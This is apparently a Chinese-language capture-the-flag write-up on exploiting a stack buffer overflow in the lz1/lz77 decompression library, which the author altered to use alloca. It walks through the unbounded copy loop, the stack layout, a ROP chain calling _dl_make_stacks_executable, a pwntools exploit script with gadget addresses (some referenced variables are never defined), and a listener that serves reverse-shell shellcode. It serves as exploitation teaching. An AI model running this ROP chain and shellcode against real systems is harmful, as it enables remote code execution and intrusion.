Summer Pwnables: lz1解决方案
TL;DR 🚀
我们将一个简单的压缩库变成了shell投递服务!本报告通过制作恶意压缩数据来利用lz1/lz77解压中的缓冲区溢出,溢出栈并链接ROP小工具以实现代码执行。
你是否曾想过一个简单的文件压缩工具如何能让你获得系统控制权?系好安全带,我们将把andyherbert的无辜lz1压缩器变成我们个人的shell投递服务!🎭
GitHub上有一个已关闭的问题,afl-fuzz发现了会导致程序崩溃的输入。虽然可能使用这些崩溃来发现错误,但如果你查看解压函数并理解lz1(也称为lz77)的工作原理,发现缓冲区溢出并不太难。
技术深度分析
在lz1代码中,指针是一个uint16_t
值。你可能会认为我们应该使用8位(1字节)表示位置,8位(1字节)表示长度,但实际上我们可以为位置和长度设置位大小。如果需要,完全可以给位置4位,长度12位 - 真正的压缩算法正是这样做的。
原始代码使用malloc设置压缩和解压文本缓冲区:
1
2
3
4
5
6
|
uint32_t file_lz77_decompress (char *filename_in, char *filename_out)
{
compressed_size = fsize(in);
compressed_text = malloc(compressed_size); // [1] compressed_text的内存
uncompressed_text = malloc(uncompressed_size); // [2] uncompressed_text的内存
}
|
情节转折:结果在堆内存中利用这个漏洞是死路一条🚫,所以我改用alloca来获得栈分配。有时候你必须转向!
1
2
3
4
5
6
7
8
9
|
uint32_t lz77_decompress (uint8_t *compressed_text, uint8_t *uncompressed_text)
{
for(coding_pos = 0; coding_pos < uncompressed_size; ++coding_pos) // [1] coding_pos在这里有边界
{
if(pointer_pos)
for(pointer_offset = coding_pos - pointer_pos; pointer_length > 0; --pointer_length)
uncompressed_text[coding_pos++] = uncompressed_text[pointer_offset++]; // [2] 但这里没有边界,所以可能溢出
}
}
|
注意uncompressed_size
是compressed_text
前4字节的整数值。由于我们可以控制这个值,可以使其小于指针中长度的大小。如果这样做,就可能在上面的lz77_decompress
函数中的[2]处溢出uncompressed_text
。
内存布局:我们的战场
在栈中,内存分配形成以下结构:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
┌──────────────────────────────────────┐
│ uncompressed_text [uncompressed_size]│
│ (对齐到8字节) │
├──────────────────────────────────────┤
│ compressed_text [compressed_size] │
│ (对齐到8字节) │
├──────────────────────────────────────┤
│ uncompressed_size (4字节) │
│ compressed_size (4字节) │
│ in FILE (8字节) │
│ out FILE (8字节) │
├──────────────────────────────────────┤
│ 保存的rbp │
│ 返回地址 │
└──────────────────────────────────────┘
|
所有变量都没有重新排序,因为代码是在没有栈保护的情况下编译的。
利用
我使用的ROP链将调用_dl_make_stacks_executable
来设置栈为rwx。这需要__stack_prot
为7,但在glibc 2.39(我编译使用的版本)中,__stack_prot
位于只读区域😂。不过有个技巧,我们可以跳过使用__stack_prot
的部分,而是使用我们自己的rdx值,我们将其设置为7。我们还需要将rbx设置为environ,因为rsi将被设置为[rbx]。函数的其余部分将处理保护栈。一旦栈可执行,我们就可以返回到jmp rsp小工具来运行一些shellcode。
exploit.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
#!/usr/bin/env python3
from pwn import *
import codecs
import warnings
context.arch = 'amd64'
ret = 0x00000000004018da
pop_rdi_rbp = 0x000000000040dfa1
dl_make_stack_exec = 0x4647d0
environ = 0x4b58d0
jmp_rsp = 0x00000000004441d6
pop_rax = 0x00000000004027c5
pop_rcx = 0x000000000040266b
pop_rbx = 0x000000000046da97
pop_rsi_rbp = 0x000000000040d402
rop_payload = p64(0x2000)*2 + p64(xchg_edx_eax_xor_eax_eax) + p64(pop_rax) + p64(7) + p64(add_edx_eax_pop_rbx) + p64(environ) + p64(dl_make_stack_exec_gadget) + p64(ret)*5 + p64(jmp_rsp) + asm('''jmp $-0x2a0''')
|
listen.py(这将触发反向shell):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
l = listen(8080, "0.0.0.0")
l.wait_for_connection()
sc = shellcraft.dup2('rdi', 0)
sc += shellcraft.dup2('rdi', 1)
sc += shellcraft.dup2('rdi', 2)
sc += shellcraft.sh()
sc = b'\x90'*0x100 + asm(sc)
l.sendline(sc)
l.interactive()
|
测验答案
测验1答案: 情节转折!从技术上讲,lz1也将普通字节编码为指针。所以"ABC"将被压缩为<position:0><length:0>A<position:0><length:0>B<position:0><length:0>C
。有点傻,对吧?🤷♂️
测验2答案: 这是思维的转折!在ABC<position:3><length:6>
中,在解压过程中,它逐字节解压。在3个字节解压后,类似于ABCABC<position:3><length:3>
,然后变成ABCABCABC
!第一次理解时有点难以理解。🤯📝
资源和链接
- 原始代码:https://github.com/andyherbert/lz1
- 关于lz77的优秀YouTube视频:https://www.youtube.com/watch?v=goOa3DGezUA